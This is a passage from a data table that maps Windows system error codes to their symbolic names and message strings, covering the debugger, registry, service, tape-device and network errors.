0x000002af: ("ERROR_DLL_MIGHT_BE_INCOMPATIBLE", "The application is loading executable code from the module %hs. This is secure, but may be incompatible with previous releases of the operating system. An alternative, %hs, is available. Should the application use the secure module %hs?"),
0x000002b0: ("ERROR_DBG_EXCEPTION_NOT_HANDLED", "Debugger did not handle the exception."),
0x000002b1: ("ERROR_DBG_REPLY_LATER", "Debugger will reply later."),
0x000002b2: ("ERROR_DBG_UNABLE_TO_PROVIDE_HANDLE", "Debugger cannot provide handle."),
0x000002b3: ("ERROR_DBG_TERMINATE_THREAD", "Debugger terminated thread."),
0x000002b4: ("ERROR_DBG_TERMINATE_PROCESS", "Debugger terminated process."),
0x000002b5: ("ERROR_DBG_CONTROL_C", "Debugger got control C."),
0x000002b6: ("ERROR_DBG_PRINTEXCEPTION_C", "Debugger printed exception on control C."),
0x000002b7: ("ERROR_DBG_RIPEXCEPTION", "Debugger received RIP exception."),
0x000002b8: ("ERROR_DBG_CONTROL_BREAK", "Debugger received control break."),
0x000002b9: ("ERROR_DBG_COMMAND_EXCEPTION", "Debugger command communication exception."),
0x000002ba: ("ERROR_OBJECT_NAME_EXISTS", "{Object Exists}"),
0x000002bb: ("ERROR_THREAD_WAS_SUSPENDED", "{Thread Suspended}"),
0x000002bc: ("ERROR_IMAGE_NOT_AT_BASE", "{Image Relocated}"),
0x000002bd: ("ERROR_RXACT_STATE_CREATED", "This informational level status indicates that a specified registry sub-tree transaction state did not yet exist and had to be created."),
0x000002be: ("ERROR_SEGMENT_NOTIFICATION", "{Segment Load}"),
0x000002bf: ("ERROR_BAD_CURRENT_DIRECTORY", "{Invalid Current Directory}"),
0x000002c0: ("ERROR_FT_READ_RECOVERY_FROM_BACKUP", "{Redundant Read}"),
0x000002c1: ("ERROR_FT_WRITE_RECOVERY", "{Redundant Write}"),
0x000002c2: ("ERROR_IMAGE_MACHINE_TYPE_MISMATCH", "{Machine Type Mismatch}"),
0x000002c3: ("ERROR_RECEIVE_PARTIAL", "{Partial Data Received}"),
0x000002c4: ("ERROR_RECEIVE_EXPEDITED", "{Expedited Data Received}"),
0x000002c5: ("ERROR_RECEIVE_PARTIAL_EXPEDITED", "{Partial Expedited Data Received}"),
0x000002c6: ("ERROR_EVENT_DONE", "{TDI Event Done}"),
0x000002c7: ("ERROR_EVENT_PENDING", "{TDI Event Pending}"),
0x000002c8: ("ERROR_CHECKING_FILE_SYSTEM", "Checking file system on %wZ"),
0x000002c9: ("ERROR_FATAL_APP_EXIT", "{Fatal Application Exit}"),
0x000002ca: ("ERROR_PREDEFINED_HANDLE", "The specified registry key is referenced by a predefined handle."),
0x000002cb: ("ERROR_WAS_UNLOCKED", "{Page Unlocked}"),
0x000002cc: ("ERROR_SERVICE_NOTIFICATION", "%hs"),
0x000002cd: ("ERROR_WAS_LOCKED", "{Page Locked}"),
0x000002ce: ("ERROR_LOG_HARD_ERROR", "Application popup: %1 : %2"),
0x000002cf: ("ERROR_ALREADY_WIN32", " ERROR_ALREADY_WIN32"),
0x000002d0: ("ERROR_IMAGE_MACHINE_TYPE_MISMATCH_EXE", "{Machine Type Mismatch}"),
0x000002d1: ("ERROR_NO_YIELD_PERFORMED", "A yield execution was performed and no thread was available to run."),
0x000002d2: ("ERROR_TIMER_RESUME_IGNORED", "The resumable flag to a timer API was ignored."),
0x000002d3: ("ERROR_ARBITRATION_UNHANDLED", "The arbiter has deferred arbitration of these resources to its parent"),
0x000002d4: ("ERROR_CARDBUS_NOT_SUPPORTED", "The inserted CardBus device cannot be started because of a configuration error on '%hs'."),
0x000002d5: ("ERROR_MP_PROCESSOR_MISMATCH", "The CPUs in this multiprocessor system are not all the same revision level. To use all processors the operating system restricts itself to the features of the least capable processor in the system. Should problems occur with this system, contact the CPU manufacturer to see if this mix of processors is supported."),
0x000002d6: ("ERROR_HIBERNATED", "The system was put into hibernation."),
0x000002d7: ("ERROR_RESUME_HIBERNATION", "The system was resumed from hibernation."),
0x000002d8: ("ERROR_FIRMWARE_UPDATED", "Windows has detected that the system firmware (BIOS) was updated [previous firmware date = %2, current firmware date %3]."),
0x000002d9: ("ERROR_DRIVERS_LEAKING_LOCKED_PAGES", "A device driver is leaking locked I/O pages causing system degradation. The system has automatically enabled tracking code in order to try and catch the culprit."),
0x000002da: ("ERROR_WAKE_SYSTEM", "The system has awoken"),
0x000002db: ("ERROR_WAIT_1", " ERROR_WAIT_1"),
0x000002dc: ("ERROR_WAIT_2", " ERROR_WAIT_2"),
0x000002dd: ("ERROR_WAIT_3", " ERROR_WAIT_3"),
0x000002de: ("ERROR_WAIT_63", " ERROR_WAIT_63"),
0x000002df: ("ERROR_ABANDONED_WAIT_0", " ERROR_ABANDONED_WAIT_0"),
0x000002e0: ("ERROR_ABANDONED_WAIT_63", " ERROR_ABANDONED_WAIT_63"),
0x000002e1: ("ERROR_USER_APC", " ERROR_USER_APC"),
0x000002e2: ("ERROR_KERNEL_APC", " ERROR_KERNEL_APC"),
0x000002e3: ("ERROR_ALERTED", " ERROR_ALERTED"),
0x000002e4: ("ERROR_ELEVATION_REQUIRED", "The requested operation requires elevation."),
0x000002e5: ("ERROR_REPARSE", "A reparse should be performed by the Object Manager since the name of the file resulted in a symbolic link."),
0x000002e6: ("ERROR_OPLOCK_BREAK_IN_PROGRESS", "An open/create operation completed while an oplock break is underway."),
0x000002e7: ("ERROR_VOLUME_MOUNTED", "A new volume has been mounted by a file system."),
0x000002e8: ("ERROR_RXACT_COMMITTED", "This success level status indicates that the transaction state already exists for the registry sub-tree, but that a transaction commit was previously aborted."),
0x000002e9: ("ERROR_NOTIFY_CLEANUP", "This indicates that a notify change request has been completed due to closing the handle which made the notify change request."),
0x000002ea: ("ERROR_PRIMARY_TRANSPORT_CONNECT_FAILED", "{Connect Failure on Primary Transport}"),
0x000002eb: ("ERROR_PAGE_FAULT_TRANSITION", "Page fault was a transition fault."),
0x000002ec: ("ERROR_PAGE_FAULT_DEMAND_ZERO", "Page fault was a demand zero fault."),
0x000002ed: ("ERROR_PAGE_FAULT_COPY_ON_WRITE", "Page fault was a demand zero fault."),
0x000002ee: ("ERROR_PAGE_FAULT_GUARD_PAGE", "Page fault was a demand zero fault."),
0x000002ef: ("ERROR_PAGE_FAULT_PAGING_FILE", "Page fault was satisfied by reading from a secondary storage device."),
0x000002f0: ("ERROR_CACHE_PAGE_LOCKED", "Cached page was locked during operation."),
0x000002f1: ("ERROR_CRASH_DUMP", "Crash dump exists in paging file."),
0x000002f2: ("ERROR_BUFFER_ALL_ZEROS", "Specified buffer contains all zeros."),
0x000002f3: ("ERROR_REPARSE_OBJECT", "A reparse should be performed by the Object Manager since the name of the file resulted in a symbolic link."),
0x000002f4: ("ERROR_RESOURCE_REQUIREMENTS_CHANGED", "The device has succeeded a query-stop and its resource requirements have changed."),
0x000002f5: ("ERROR_TRANSLATION_COMPLETE", "The translator has translated these resources into the global space and no further translations should be performed."),
0x000002f6: ("ERROR_NOTHING_TO_TERMINATE", "A process being terminated has no threads to terminate."),
0x000002f7: ("ERROR_PROCESS_NOT_IN_JOB", "The specified process is not part of a job."),
0x000002f8: ("ERROR_PROCESS_IN_JOB", "The specified process is part of a job."),
0x000002f9: ("ERROR_VOLSNAP_HIBERNATE_READY", "{Volume Shadow Copy Service}"),
0x000002fa: ("ERROR_FSFILTER_OP_COMPLETED_SUCCESSFULLY", "A file system or file system filter driver has successfully completed an FsFilter operation."),
0x000002fb: ("ERROR_INTERRUPT_VECTOR_ALREADY_CONNECTED", "The specified interrupt vector was already connected."),
0x000002fc: ("ERROR_INTERRUPT_STILL_CONNECTED", "The specified interrupt vector is still connected."),
0x000002fd: ("ERROR_WAIT_FOR_OPLOCK", "An operation is blocked waiting for an oplock."),
0x000002fe: ("ERROR_DBG_EXCEPTION_HANDLED", "Debugger handled exception"),
0x000002ff: ("ERROR_DBG_CONTINUE", "Debugger continued"),
0x00000300: ("ERROR_CALLBACK_POP_STACK", "An exception occurred in a user mode callback and the kernel callback frame should be removed."),
0x00000301: ("ERROR_COMPRESSION_DISABLED", "Compression is disabled for this volume."),
0x00000302: ("ERROR_CANTFETCHBACKWARDS", "The data provider cannot fetch backwards through a result set."),
0x00000303: ("ERROR_CANTSCROLLBACKWARDS", "The data provider cannot scroll backwards through a result set."),
0x00000304: ("ERROR_ROWSNOTRELEASED", "The data provider requires that previously fetched data is released before asking for more data."),
0x00000305: ("ERROR_BAD_ACCESSOR_FLAGS", "The data provider was not able to interpret the flags set for a column binding in an accessor."),
0x00000306: ("ERROR_ERRORS_ENCOUNTERED", "One or more errors occurred while processing the request."),
0x00000307: ("ERROR_NOT_CAPABLE", "The implementation is not capable of performing the request."),
0x00000308: ("ERROR_REQUEST_OUT_OF_SEQUENCE", "The client of a component requested an operation which is not valid given the state of the component instance."),
0x00000309: ("ERROR_VERSION_PARSE_ERROR", "A version number could not be parsed."),
0x0000030a: ("ERROR_BADSTARTPOSITION", "The iterator's start position is invalid."),
0x0000030b: ("ERROR_MEMORY_HARDWARE", "The hardware has reported an uncorrectable memory error."),
0x0000030c: ("ERROR_DISK_REPAIR_DISABLED", "The attempted operation required self healing to be enabled."),
0x0000030d: ("ERROR_INSUFFICIENT_RESOURCE_FOR_SPECIFIED_SHARED_SECTION_SIZE", "The Desktop heap encountered an error while allocating session memory. There is more information in the system event log."),
0x0000030e: ("ERROR_SYSTEM_POWERSTATE_TRANSITION", "The system power state is transitioning from %2 to %3."),
0x0000030f: ("ERROR_SYSTEM_POWERSTATE_COMPLEX_TRANSITION", "The system power state is transitioning from %2 to %3 but could enter %4."),
0x00000310: ("ERROR_MCA_EXCEPTION", "A thread is getting dispatched with MCA EXCEPTION because of MCA."),
0x00000311: ("ERROR_ACCESS_AUDIT_BY_POLICY", "Access to %1 is monitored by policy rule %2."),
0x00000312: ("ERROR_ACCESS_DISABLED_NO_SAFER_UI_BY_POLICY", "Access to %1 has been restricted by your Administrator by policy rule %2."),
0x00000313: ("ERROR_ABANDON_HIBERFILE", "A valid hibernation file has been invalidated and should be abandoned."),
0x00000314: ("ERROR_LOST_WRITEBEHIND_DATA_NETWORK_DISCONNECTED", "{Delayed Write Failed}"),
0x00000315: ("ERROR_LOST_WRITEBEHIND_DATA_NETWORK_SERVER_ERROR", "{Delayed Write Failed}"),
0x00000316: ("ERROR_LOST_WRITEBEHIND_DATA_LOCAL_DISK_ERROR", "{Delayed Write Failed}"),
0x00000317: ("ERROR_BAD_MCFG_TABLE", "The resources required for this device conflict with the MCFG table."),
0x00000318: ("ERROR_DISK_REPAIR_REDIRECTED", "The volume repair could not be performed while it is online."),
0x00000319: ("ERROR_DISK_REPAIR_UNSUCCESSFUL", "The volume repair was not successful."),
0x0000031a: ("ERROR_CORRUPT_LOG_OVERFULL", "One of the volume corruption logs is full. Further corruptions that may be detected won't be logged."),
0x0000031b: ("ERROR_CORRUPT_LOG_CORRUPTED", "One of the volume corruption logs is internally corrupted and needs to be recreated. The volume may contain undetected corruptions and must be scanned."),
0x0000031c: ("ERROR_CORRUPT_LOG_UNAVAILABLE", "One of the volume corruption logs is unavailable for being operated on."),
0x0000031d: ("ERROR_CORRUPT_LOG_DELETED_FULL", "One of the volume corruption logs was deleted while still having corruption records in them. The volume contains detected corruptions and must be scanned."),
0x0000031e: ("ERROR_CORRUPT_LOG_CLEARED", "One of the volume corruption logs was cleared by chkdsk and no longer contains real corruptions."),
0x0000031f: ("ERROR_ORPHAN_NAME_EXHAUSTED", "Orphaned files exist on the volume but could not be recovered because no more new names could be created in the recovery directory. Files must be moved from the recovery directory."),
0x00000320: ("ERROR_OPLOCK_SWITCHED_TO_NEW_HANDLE", "The oplock that was associated with this handle is now associated with a different handle."),
0x00000321: ("ERROR_CANNOT_GRANT_REQUESTED_OPLOCK", "An oplock of the requested level cannot be granted. An oplock of a lower level may be available."),
0x00000322: ("ERROR_CANNOT_BREAK_OPLOCK", "The operation did not complete successfully because it would cause an oplock to be broken. The caller has requested that existing oplocks not be broken."),
0x00000323: ("ERROR_OPLOCK_HANDLE_CLOSED", "The handle with which this oplock was associated has been closed. The oplock is now broken."),
0x00000324: ("ERROR_NO_ACE_CONDITION", "The specified access control entry (ACE) does not contain a condition."),
0x00000325: ("ERROR_INVALID_ACE_CONDITION", "The specified access control entry (ACE) contains an invalid condition."),
0x00000326: ("ERROR_FILE_HANDLE_REVOKED", "Access to the specified file handle has been revoked."),
0x00000327: ("ERROR_IMAGE_AT_DIFFERENT_BASE", "{Image Relocated}"),
0x000003e2: ("ERROR_EA_ACCESS_DENIED", "Access to the extended attribute was denied."),
0x000003e3: ("ERROR_OPERATION_ABORTED", "The I/O operation has been aborted because of either a thread exit or an application request."),
0x000003e4: ("ERROR_IO_INCOMPLETE", "Overlapped I/O event is not in a signaled state."),
0x000003e5: ("ERROR_IO_PENDING", "Overlapped I/O operation is in progress."),
0x000003e6: ("ERROR_NOACCESS", "Invalid access to memory location."),
0x000003e7: ("ERROR_SWAPERROR", "Error performing inpage operation."),
0x000003e9: ("ERROR_STACK_OVERFLOW", "Recursion too deep; the stack overflowed."),
0x000003ea: ("ERROR_INVALID_MESSAGE", "The window cannot act on the sent message."),
0x000003eb: ("ERROR_CAN_NOT_COMPLETE", "Cannot complete this function."),
0x000003ec: ("ERROR_INVALID_FLAGS", "Invalid flags."),
0x000003ed: ("ERROR_UNRECOGNIZED_VOLUME", "The volume does not contain a recognized file system."),
0x000003ee: ("ERROR_FILE_INVALID", "The volume for a file has been externally altered so that the opened file is no longer valid."),
0x000003ef: ("ERROR_FULLSCREEN_MODE", "The requested operation cannot be performed in full-screen mode."),
0x000003f0: ("ERROR_NO_TOKEN", "An attempt was made to reference a token that does not exist."),
0x000003f1: ("ERROR_BADDB", "The configuration registry database is corrupt."),
0x000003f2: ("ERROR_BADKEY", "The configuration registry key is invalid."),
0x000003f3: ("ERROR_CANTOPEN", "The configuration registry key could not be opened."),
0x000003f4: ("ERROR_CANTREAD", "The configuration registry key could not be read."),
0x000003f5: ("ERROR_CANTWRITE", "The configuration registry key could not be written."),
0x000003f6: ("ERROR_REGISTRY_RECOVERED", "One of the files in the registry database had to be recovered by use of a log or alternate copy. The recovery was successful."),
0x000003f7: ("ERROR_REGISTRY_CORRUPT", "The registry is corrupted. The structure of one of the files containing registry data is corrupted, or the system's memory image of the file is corrupted, or the file could not be recovered because the alternate copy or log was absent or corrupted."),
0x000003f8: ("ERROR_REGISTRY_IO_FAILED", "An I/O operation initiated by the registry failed unrecoverably. The registry could not read in, or write out, or flush, one of the files that contain the system's image of the registry."),
0x000003f9: ("ERROR_NOT_REGISTRY_FILE", "The system has attempted to load or restore a file into the registry, but the specified file is not in a registry file format."),
0x000003fa: ("ERROR_KEY_DELETED", "Illegal operation attempted on a registry key that has been marked for deletion."),
0x000003fb: ("ERROR_NO_LOG_SPACE", "System could not allocate the required space in a registry log."),
0x000003fc: ("ERROR_KEY_HAS_CHILDREN", "Cannot create a symbolic link in a registry key that already has subkeys or values."),
0x000003fd: ("ERROR_CHILD_MUST_BE_VOLATILE", "Cannot create a stable subkey under a volatile parent key."),
0x000003fe: ("ERROR_NOTIFY_ENUM_DIR", "A notify change request is being completed and the information is not being returned in the caller's buffer. The caller now needs to enumerate the files to find the changes."),
0x0000041b: ("ERROR_DEPENDENT_SERVICES_RUNNING", "A stop control has been sent to a service that other running services are dependent on."),
0x0000041c: ("ERROR_INVALID_SERVICE_CONTROL", "The requested control is not valid for this service."),
0x0000041d: ("ERROR_SERVICE_REQUEST_TIMEOUT", "The service did not respond to the start or control request in a timely fashion."),
0x0000041e: ("ERROR_SERVICE_NO_THREAD", "A thread could not be created for the service."),
0x0000041f: ("ERROR_SERVICE_DATABASE_LOCKED", "The service database is locked."),
0x00000420: ("ERROR_SERVICE_ALREADY_RUNNING", "An instance of the service is already running."),
0x00000421: ("ERROR_INVALID_SERVICE_ACCOUNT", "The account name is invalid or does not exist, or the password is invalid for the account name specified."),
0x00000422: ("ERROR_SERVICE_DISABLED", "The service cannot be started, either because it is disabled or because it has no enabled devices associated with it."),
0x00000423: ("ERROR_CIRCULAR_DEPENDENCY", "Circular service dependency was specified."),
0x00000424: ("ERROR_SERVICE_DOES_NOT_EXIST", "The specified service does not exist as an installed service."),
0x00000425: ("ERROR_SERVICE_CANNOT_ACCEPT_CTRL", "The service cannot accept control messages at this time."),
0x00000426: ("ERROR_SERVICE_NOT_ACTIVE", "The service has not been started."),
0x00000427: ("ERROR_FAILED_SERVICE_CONTROLLER_CONNECT", "The service process could not connect to the service controller."),
0x00000428: ("ERROR_EXCEPTION_IN_SERVICE", "An exception occurred in the service when handling the control request."),
0x00000429: ("ERROR_DATABASE_DOES_NOT_EXIST", "The database specified does not exist."),
0x0000042a: ("ERROR_SERVICE_SPECIFIC_ERROR", "The service has returned a service-specific error code."),
0x0000042b: ("ERROR_PROCESS_ABORTED", "The process terminated unexpectedly."),
0x0000042c: ("ERROR_SERVICE_DEPENDENCY_FAIL", "The dependency service or group failed to start."),
0x0000042d: ("ERROR_SERVICE_LOGON_FAILED", "The service did not start due to a logon failure."),
0x0000042e: ("ERROR_SERVICE_START_HANG", "After starting, the service hung in a start-pending state."),
0x0000042f: ("ERROR_INVALID_SERVICE_LOCK", "The specified service database lock is invalid."),
0x00000430: ("ERROR_SERVICE_MARKED_FOR_DELETE", "The specified service has been marked for deletion."),
0x00000431: ("ERROR_SERVICE_EXISTS", "The specified service already exists."),
0x00000432: ("ERROR_ALREADY_RUNNING_LKG", "The system is currently running with the last-known-good configuration."),
0x00000433: ("ERROR_SERVICE_DEPENDENCY_DELETED", "The dependency service does not exist or has been marked for deletion."),
0x00000434: ("ERROR_BOOT_ALREADY_ACCEPTED", "The current boot has already been accepted for use as the last-known-good control set."),
0x00000435: ("ERROR_SERVICE_NEVER_STARTED", "No attempts to start the service have been made since the last boot."),
0x00000436: ("ERROR_DUPLICATE_SERVICE_NAME", "The name is already in use as either a service name or a service display name."),
0x00000437: ("ERROR_DIFFERENT_SERVICE_ACCOUNT", "The account specified for this service is different from the account specified for other services running in the same process."),
0x00000438: ("ERROR_CANNOT_DETECT_DRIVER_FAILURE", "Failure actions can only be set for Win32 services, not for drivers."),
0x00000439: ("ERROR_CANNOT_DETECT_PROCESS_ABORT", "This service runs in the same process as the service control manager."),
0x0000043a: ("ERROR_NO_RECOVERY_PROGRAM", "No recovery program has been configured for this service."),
0x0000043b: ("ERROR_SERVICE_NOT_IN_EXE", "The executable program that this service is configured to run in does not implement the service."),
0x0000043c: ("ERROR_NOT_SAFEBOOT_SERVICE", "This service cannot be started in Safe Mode"),
0x0000044c: ("ERROR_END_OF_MEDIA", "The physical end of the tape has been reached."),
0x0000044d: ("ERROR_FILEMARK_DETECTED", "A tape access reached a filemark."),
0x0000044e: ("ERROR_BEGINNING_OF_MEDIA", "The beginning of the tape or a partition was encountered."),
0x0000044f: ("ERROR_SETMARK_DETECTED", "A tape access reached the end of a set of files."),
0x00000450: ("ERROR_NO_DATA_DETECTED", "No more data is on the tape."),
0x00000451: ("ERROR_PARTITION_FAILURE", "Tape could not be partitioned."),
0x00000452: ("ERROR_INVALID_BLOCK_LENGTH", "When accessing a new tape of a multivolume partition, the current block size is incorrect."),
0x00000453: ("ERROR_DEVICE_NOT_PARTITIONED", "Tape partition information could not be found when loading a tape."),
0x00000454: ("ERROR_UNABLE_TO_LOCK_MEDIA", "Unable to lock the media eject mechanism."),
0x00000455: ("ERROR_UNABLE_TO_UNLOAD_MEDIA", "Unable to unload the media."),
0x00000456: ("ERROR_MEDIA_CHANGED", "The media in the drive may have changed."),
0x00000457: ("ERROR_BUS_RESET", "The I/O bus was reset."),
0x00000458: ("ERROR_NO_MEDIA_IN_DRIVE", "No media in drive."),
0x00000459: ("ERROR_NO_UNICODE_TRANSLATION", "No mapping for the Unicode character exists in the target multi-byte code page."),
0x0000045a: ("ERROR_DLL_INIT_FAILED", "A dynamic link library (DLL) initialization routine failed."),
0x0000045b: ("ERROR_SHUTDOWN_IN_PROGRESS", "A system shutdown is in progress."),
0x0000045c: ("ERROR_NO_SHUTDOWN_IN_PROGRESS", "Unable to abort the system shutdown because no shutdown was in progress."),
0x0000045d: ("ERROR_IO_DEVICE", "The request could not be performed because of an I/O device error."),
0x0000045e: ("ERROR_SERIAL_NO_DEVICE", "No serial device was successfully initialized. The serial driver will unload."),
0x0000045f: ("ERROR_IRQ_BUSY", "Unable to open a device that was sharing an interrupt request (IRQ) with other devices. At least one other device that uses that IRQ was already opened."),
0x00000460: ("ERROR_MORE_WRITES", "A serial I/O operation was completed by another write to the serial port."),
0x00000461: ("ERROR_COUNTER_TIMEOUT", "A serial I/O operation completed because the timeout period expired."),
0x00000462: ("ERROR_FLOPPY_ID_MARK_NOT_FOUND", "No ID address mark was found on the floppy disk."),
0x00000463: ("ERROR_FLOPPY_WRONG_CYLINDER", "Mismatch between the floppy disk sector ID field and the floppy disk controller track address."),
0x00000464: ("ERROR_FLOPPY_UNKNOWN_ERROR", "The floppy disk controller reported an error that is not recognized by the floppy disk driver."),
0x00000465: ("ERROR_FLOPPY_BAD_REGISTERS", "The floppy disk controller returned inconsistent results in its registers."),
0x00000466: ("ERROR_DISK_RECALIBRATE_FAILED", "While accessing the hard disk, a recalibrate operation failed, even after retries."),
0x00000467: ("ERROR_DISK_OPERATION_FAILED", "While accessing the hard disk, a disk operation failed even after retries."),
0x00000468: ("ERROR_DISK_RESET_FAILED", "While accessing the hard disk, a disk controller reset was needed, but even that failed."),
0x00000469: ("ERROR_EOM_OVERFLOW", "Physical end of tape encountered."),
0x0000046a: ("ERROR_NOT_ENOUGH_SERVER_MEMORY", "Not enough server storage is available to process this command."),
0x0000046b: ("ERROR_POSSIBLE_DEADLOCK", "A potential deadlock condition has been detected."),
0x0000046c: ("ERROR_MAPPED_ALIGNMENT", "The base address or the file offset specified does not have the proper alignment."),
0x00000474: ("ERROR_SET_POWER_STATE_VETOED", "An attempt to change the system power state was vetoed by another application or driver."),
0x00000475: ("ERROR_SET_POWER_STATE_FAILED", "The system BIOS failed an attempt to change the system power state."),
0x00000476: ("ERROR_TOO_MANY_LINKS", "An attempt was made to create more links on a file than the file system supports."),
0x0000047e: ("ERROR_OLD_WIN_VERSION", "The specified program requires a newer version of Windows."),
0x0000047f: ("ERROR_APP_WRONG_OS", "The specified program is not a Windows or MS-DOS program."),
0x00000480: ("ERROR_SINGLE_INSTANCE_APP", "Cannot start more than one instance of the specified program."),
0x00000481: ("ERROR_RMODE_APP", "The specified program was written for an earlier version of Windows."),
0x00000482: ("ERROR_INVALID_DLL", "One of the library files needed to run this application is damaged."),
0x00000483: ("ERROR_NO_ASSOCIATION", "No application is associated with the specified file for this operation."),
0x00000484: ("ERROR_DDE_FAIL", "An error occurred in sending the command to the application."),
0x00000485: ("ERROR_DLL_NOT_FOUND", "One of the library files needed to run this application cannot be found."),
0x00000486: ("ERROR_NO_MORE_USER_HANDLES", "The current process has used all of its system allowance of handles for Window Manager objects."),
0x00000487: ("ERROR_MESSAGE_SYNC_ONLY", "The message can be used only with synchronous operations."),
0x00000488: ("ERROR_SOURCE_ELEMENT_EMPTY", "The indicated source element has no media."),
0x00000489: ("ERROR_DESTINATION_ELEMENT_FULL", "The indicated destination element already contains media."),
0x0000048a: ("ERROR_ILLEGAL_ELEMENT_ADDRESS", "The indicated element does not exist."),
0x0000048b: ("ERROR_MAGAZINE_NOT_PRESENT", "The indicated element is part of a magazine that is not present."),
0x0000048c: ("ERROR_DEVICE_REINITIALIZATION_NEEDED", "The indicated device requires reinitialization due to hardware errors."),
0x0000048d: ("ERROR_DEVICE_REQUIRES_CLEANING", "The device has indicated that cleaning is required before further operations are attempted."),
0x0000048e: ("ERROR_DEVICE_DOOR_OPEN", "The device has indicated that its door is open."),
0x0000048f: ("ERROR_DEVICE_NOT_CONNECTED", "The device is not connected."),
0x00000490: ("ERROR_NOT_FOUND", "Element not found."),
0x00000491: ("ERROR_NO_MATCH", "There was no match for the specified key in the index."),
0x00000492: ("ERROR_SET_NOT_FOUND", "The property set specified does not exist on the object."),
0x00000493: ("ERROR_POINT_NOT_FOUND", "The point passed to GetMouseMovePoints is not in the buffer."),
0x00000494: ("ERROR_NO_TRACKING_SERVICE", "The tracking (workstation) service is not running."),
0x00000495: ("ERROR_NO_VOLUME_ID", "The Volume ID could not be found."),
0x00000497: ("ERROR_UNABLE_TO_REMOVE_REPLACED", "Unable to remove the file to be replaced."),
0x00000498: ("ERROR_UNABLE_TO_MOVE_REPLACEMENT", "Unable to move the replacement file to the file to be replaced. The file to be replaced has retained its original name."),
0x00000499: ("ERROR_UNABLE_TO_MOVE_REPLACEMENT_2", "Unable to move the replacement file to the file to be replaced. The file to be replaced has been renamed using the backup name."),
0x0000049a: ("ERROR_JOURNAL_DELETE_IN_PROGRESS", "The volume change journal is being deleted."),
0x0000049b: ("ERROR_JOURNAL_NOT_ACTIVE", "The volume change journal is not active."),
0x0000049c: ("ERROR_POTENTIAL_FILE_FOUND", "A file was found, but it may not be the correct file."),
0x0000049d: ("ERROR_JOURNAL_ENTRY_DELETED", "The journal entry has been deleted from the journal."),
0x000004a6: ("ERROR_SHUTDOWN_IS_SCHEDULED", "A system shutdown has already been scheduled."),
0x000004a7: ("ERROR_SHUTDOWN_USERS_LOGGED_ON", "The system shutdown cannot be initiated because there are other users logged on to the computer."),
0x000004b0: ("ERROR_BAD_DEVICE", "The specified device name is invalid."),
0x000004b1: ("ERROR_CONNECTION_UNAVAIL", "The device is not currently connected but it is a remembered connection."),
0x000004b2: ("ERROR_DEVICE_ALREADY_REMEMBERED", "The local device name has a remembered connection to another network resource."),
0x000004b3: ("ERROR_NO_NET_OR_BAD_PATH", "The network path was either typed incorrectly, does not exist, or the network provider is not currently available. Please try retyping the path or contact your network administrator."),
0x000004b4: ("ERROR_BAD_PROVIDER", "The specified network provider name is invalid."),
0x000004b5: ("ERROR_CANNOT_OPEN_PROFILE", "Unable to open the network connection profile."),
0x000004b6: ("ERROR_BAD_PROFILE", "The network connection profile is corrupted."),
0x000004b7: ("ERROR_NOT_CONTAINER", "Cannot enumerate a noncontainer."),
0x000004b8: ("ERROR_EXTENDED_ERROR", "An extended error has occurred."),
0x000004b9: ("ERROR_INVALID_GROUPNAME", "The format of the specified group name is invalid."),
0x000004ba: ("ERROR_INVALID_COMPUTERNAME", "The format of the specified computer name is invalid."),
0x000004bb: ("ERROR_INVALID_EVENTNAME", "The format of the specified event name is invalid."),
0x000004bc: ("ERROR_INVALID_DOMAINNAME", "The format of the specified domain name is invalid."),
0x000004bd: ("ERROR_INVALID_SERVICENAME", "The format of the specified service name is invalid."),
0x000004be: ("ERROR_INVALID_NETNAME", "The format of the specified network name is invalid."),
0x000004bf: ("ERROR_INVALID_SHARENAME", "The format of the specified share name is invalid."),
0x000004c0: ("ERROR_INVALID_PASSWORDNAME", "The format of the specified password is invalid."),
0x000004c1: ("ERROR_INVALID_MESSAGENAME", "The format of the specified message name is invalid."),
0x000004c2: ("ERROR_INVALID_MESSAGEDEST", "The format of the specified message destination is invalid."),
0x000004c3: ("ERROR_SESSION_CREDENTIAL_CONFLICT", "Multiple connections to a server or shared resource by the same user, using more than one user name, are not allowed. Disconnect all previous connections to the server or shared resource and try again."),
0x000004c4: ("ERROR_REMOTE_SESSION_LIMIT_EXCEEDED", "An attempt was made to establish a session to a network server, but there are already too many sessions established to that server."),
0x000004c5: ("ERROR_DUP_DOMAINNAME", "The workgroup or domain name is already in use by another computer on the network."),
0x000004c6: ("ERROR_NO_NETWORK", "The network is not present or not started."),
0x000004c7: ("ERROR_CANCELLED", "The operation was canceled by the user."),
0x000004c8: ("ERROR_USER_MAPPED_FILE", "The requested operation cannot be performed on a file with a user-mapped section open."),
0x000004c9: ("ERROR_CONNECTION_REFUSED", "The remote computer refused the network connection."),
0x000004ca: ("ERROR_GRACEFUL_DISCONNECT", "The network connection was gracefully closed."),
0x000004cb: ("ERROR_ADDRESS_ALREADY_ASSOCIATED", "The network transport endpoint already has an address associated with it."),
0x000004cc: ("ERROR_ADDRESS_NOT_ASSOCIATED", "An address has not yet been associated with the network endpoint."),
0x000004cd: ("ERROR_CONNECTION_INVALID", "An operation was attempted on a nonexistent network connection."),
0x000004ce: ("ERROR_CONNECTION_ACTIVE", "An invalid operation was attempted on an active network connection."),
0x000004cf: ("ERROR_NETWORK_UNREACHABLE", "The network location cannot be reached. For information about network troubleshooting, see Windows Help."),
0x000004d0: ("ERROR_HOST_UNREACHABLE", "The network location cannot be reached. For information about network troubleshooting, see Windows Help."),
0x000004d1: ("ERROR_PROTOCOL_UNREACHABLE", "The network location cannot be reached. For information about network troubleshooting, see Windows Help."),
0x000004d2: ("ERROR_PORT_UNREACHABLE", "No service is operating at the destination network endpoint on the remote system."),
0x000004d3: ("ERROR_REQUEST_ABORTED", "The request was aborted."),
0x000004d4: ("ERROR_CONNECTION_ABORTED", "The network connection was aborted by the local system."),
0x000004d5: ("ERROR_RETRY", "The operation could not be completed. A retry should be performed."),
0x000004d6: ("ERROR_CONNECTION_COUNT_LIMIT", "A connection to the server could not be made because the limit on the number of concurrent connections for this account has been reached."),
0x000004d7: ("ERROR_LOGIN_TIME_RESTRICTION", "Attempting to log in during an unauthorized time of day for this account."),
0x000004d8: ("ERROR_LOGIN_WKSTA_RESTRICTION", "The account is not authorized to log in from this station."),
0x000004d9: ("ERROR_INCORRECT_ADDRESS", "The network address could not be used for the operation requested."),
0x000004da: ("ERROR_ALREADY_REGISTERED", "The service is already registered."),
0x000004db: ("ERROR_SERVICE_NOT_FOUND", "The specified service does not exist."),
0x000004dc: ("ERROR_NOT_AUTHENTICATED", "The operation being requested was not performed because the user has not been authenticated."),
